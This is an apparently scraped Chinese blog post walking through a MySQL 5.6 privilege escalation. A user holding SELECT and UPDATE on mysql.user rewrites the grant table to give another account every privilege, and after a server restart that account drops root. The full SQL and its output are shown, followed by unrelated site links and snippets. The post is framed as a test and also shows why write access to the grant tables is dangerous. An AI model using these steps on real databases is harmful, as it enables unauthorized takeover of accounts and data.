温馨提示:

一次成功的非法提权,需要的必备条件是:
1、对mysql权限表的查、改权限;

2、一次不经意的数据库服务器重启;

此次测试版本:5.6.25

准备邪恶用户:

  grant update on mysql.user to heike@'localhost' identified by 'heike';

  用heike@localhost登录数据库;

  mysql> select * from user;

  ERROR 1142 (42000): SELECT command denied to user 'heike'@'localhost' for table 'user'

  mysql> update mysql.user set user='test003' where user='test03';

  ERROR 1143 (42000): SELECT command denied to user 'heike'@'localhost' for column 'user' in table 'user'

  好吧,失败,在给heike@localhost关于user表的select权限;

  mysql> grant select on mysql.user to heike@'localhost' identified by 'heike';

  Query OK, 0 rows affected (0.00 sec)

  现在heike@localhost可以正常地访问mysql.user表了。

准备测试用户:

mysql>  show grants for test02@'localhost';

+---------------------------------------------------------------------------------------------------------------+

| Grants for test02@localhost                                                                                   |

+---------------------------------------------------------------------------------------------------------------+

| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD '*1556A6F65259CE3FBEA8489096F7797B4E0D5BEC' |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                                                        |

+---------------------------------------------------------------------------------------------------------------+

2 rows in set (0.00 sec)

test02@'localhost'只有查询db_test库t1表的权限

现在开始用heike@localhost给test02@'localhost'提权。

就给test02@'localhost'一个超大的权限吧。使用heike@localhost执行:

update mysql.user set  Select_priv='Y',

Insert_priv='Y',

Update_priv='Y',

Delete_priv='Y',

Create_priv='Y',

Drop_priv='Y',

Reload_priv='Y',

Shutdown_priv='Y',

Process_priv='Y',

File_priv='Y',

Grant_priv='Y',

References_priv='Y',

Index_priv='Y',

Alter_priv='Y',

Show_db_priv='Y',

Super_priv='Y',

Create_tmp_table_priv='Y',

Lock_tables_priv='Y',

Execute_priv='Y',

Repl_slave_priv='Y',

Repl_client_priv='Y',

Create_view_priv='Y',

Show_view_priv='Y',

Create_routine_priv='Y',

Alter_routine_priv='Y',

Create_user_priv='Y',

Event_priv='Y',

Trigger_priv='Y',

Create_tablespace_priv='Y'

where user='test02' and host='localhost';

Query OK, 1 row affected (0.04 sec)

Rows matched: 1  Changed: 1  Warnings: 0

但是再查看test02@localhost的权限

+----------------------------------------------------------------------------+

| Grants for test02@localhost                                                |

+----------------------------------------------------------------------------+

| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                     |

+----------------------------------------------------------------------------+

2 rows in set (0.00 sec)

好吧,权限没变。但是不要灰心

让我们静静地等在在某一天,有flush privileges 权限的用户执行下:

mysql>flush privileges;

这时再看看test02@localhost的权限

mysql> show grants for test02@localhost;

+-------------------------------------------------------------------------------------------------------+

| Grants for test02@localhost                                                                           |

+-------------------------------------------------------------------------------------------------------+

| GRANT ALL PRIVILEGES ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> WITH GRANT OPTION |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                                                |

+-------------------------------------------------------------------------------------------------------+

2 rows in set (0.00 sec)

这是你是不是觉得test02@localhost已经成功逆袭为高富帅了?

既然你这么以为,就让他把`db_test`.`t1`删掉吧

mysql> drop table db_test.t1;

ERROR 1142 (42000): DROP command denied to user 'test02'@'localhost' for table 't1'

What!居然不能删除,还提示权限不足。这一定是误会,让我再尝试一下:

mysql> select user,host,password from mysql.user;

ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 'user'

what!连查询都不行,说好的ALL PRIVILEGES呢!

让我再尝试一下,新建一张普通表t2看test02@localhost能访问不。

mysql> select * from db_test.t2;

ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 't2'

好吧,至此'test02'@'localhost'的权限没有丝毫改变

继而重启服务器

>service mysqld restart

再试试:

mysql> drop user root@'::1';

Query OK, 0 rows affected (0.08 sec)

mysql> select user();

+------------------+

| user()           |

+------------------+

| test02@localhost |

+------------------+

1 row in set (0.00 sec)

哈哈!看看。此时的test02@localhost已经将root用户干掉了!

如何悄悄地提升MySQL用户权限的更多相关文章

  1. mysql用户权限

    mysql> show grants for root@'localhost';+-------------------------------------------------------- ...

  2. mysql用户权限操作

    mysql用户权限操作1.创建用户mysql -urootcreate database zabbix default charset utf8;grant all on zabbix.* to za ...

  3. 烂泥:nginx、php-fpm、mysql用户权限解析

    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://ilanni.blog.51cto.com/526870/1561097 本文首发 ...

  4. mysql用户权限设置

    1.创建新用户 通过root用户登录之后创建 >> grant all privileges on *.* to testuser@localhost identified by &quo ...

  5. mysql 用户权限设置【转】

    在Linux下phpStudy集成开发环境中,要先进入mysql下bin目录,执行mysql ./mysql -u root -p 1.创建新用户 通过root用户登录之后创建 >> gr ...

  6. 转 MySQL 用户权限详细汇总

    http://blog.csdn.net/mchdba/article/details/45934981 1,MySQL权限体系 MySQL 的权限体系大致分为5个层级: 全局层级: 全局权限适用于一 ...

  7. MYSQL用户权限管理学习笔记

    MYSQL 用户管理 1.权限表 MYSQL是一个多用户的数据库,MYSQL的用户可以分为两大类: (1)       超级管理员用户(root),拥有全部权限 (2)       普通用户,由roo ...

  8. mysql用户权限分配及主从同步复制

    赋予wgdp用户查询权限: grant select on wg_dp.* to 'wgdp'@'%' IDENTIFIED BY 'weigou123'; grant all privileges ...

  9. mysql用户权限管理

    参考文章:http://www.cnblogs.com/jackruicao/p/6068821.html?utm_source=itdadao&utm_medium=referral (1) ...

随机推荐

  1. udevadm命令详解

    udevadm 后接一个命令和命令指定选项.它控制了udev运行的行为,处理内核事件,控制事件队列,并且提供简单的调试机制. 选项: --debug 打印错误信息 --version 打印版本信息 - ...

  2. java_14.1 判断是否是闰年

    package demo; import java.util.Calendar; import java.util.Scanner; public class Demo { public static ...

  3. android studio 3.0 集成ijkplayer

    一.ijkplayer编译过程略,有兴趣的朋友可以再研究,以下以编译好的版本讲解. 将ijkplayer相关的so及aar文件复制到app下的libs目录,为支持多版本的手机使用,将所有的so文件都复 ...

  4. hdu 2289 要二分的杯子

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2289 大意是 一个Cup,圆台形,给你它的顶部圆的半径,底部圆的半径,杯子的高度,和此时里面装的水的体 ...

  5. 设置漂亮的eclipse主题(Theme)风格

    看看这些主题: Eclipse Color Themes 设置步骤: 1.点击help --> Eclipse Marketplace... 2.搜索Color Eclipse Themes 3 ...

  6. HDU_2112(最短路)

    经过锦囊相助,海东集团终于度过了危机,从此,HDU的发展就一直顺风顺水,到了2050年,集团已经相当规模了,据说进入了钱江肉丝经济开发区500强.这时候,XHD夫妇也退居了二线,并在风景秀美的诸暨市浬 ...

  7. iOS.UITableView.SectionIndex

    1. 为tableview中section建立索引来加速tableview的滚动. http://nshipster.com/uilocalizedindexedcollation/ 2. 获取汉字的 ...

  8. 20172306 《Java程序设计》第二周学习总结

    20172306<Java程序设计>第二周学习总结 教材学习内容总结 这一周的学习,我觉得我比上一周认真多了,而且我突然发现慢慢学习的过程中,以前有一些多余自己打出来的东西,有了更清晰的认 ...

  9. [FreeMind] 绘制思维时遇到的常见问题解决办法

    如何改变节点的摆放方向? 如果是新建节点,选择要放置节点的那一侧,按enter键,或者鼠标右键,插入平行节点即可. 如果是已经建好的节点,可以用ctrl+x, ctrl+v粘贴到另一边,或者选中子节点 ...

  10. Partition Array Into Three Parts With Equal Sum LT1013

    Given an array A of integers, return true if and only if we can partition the array into three non-e ...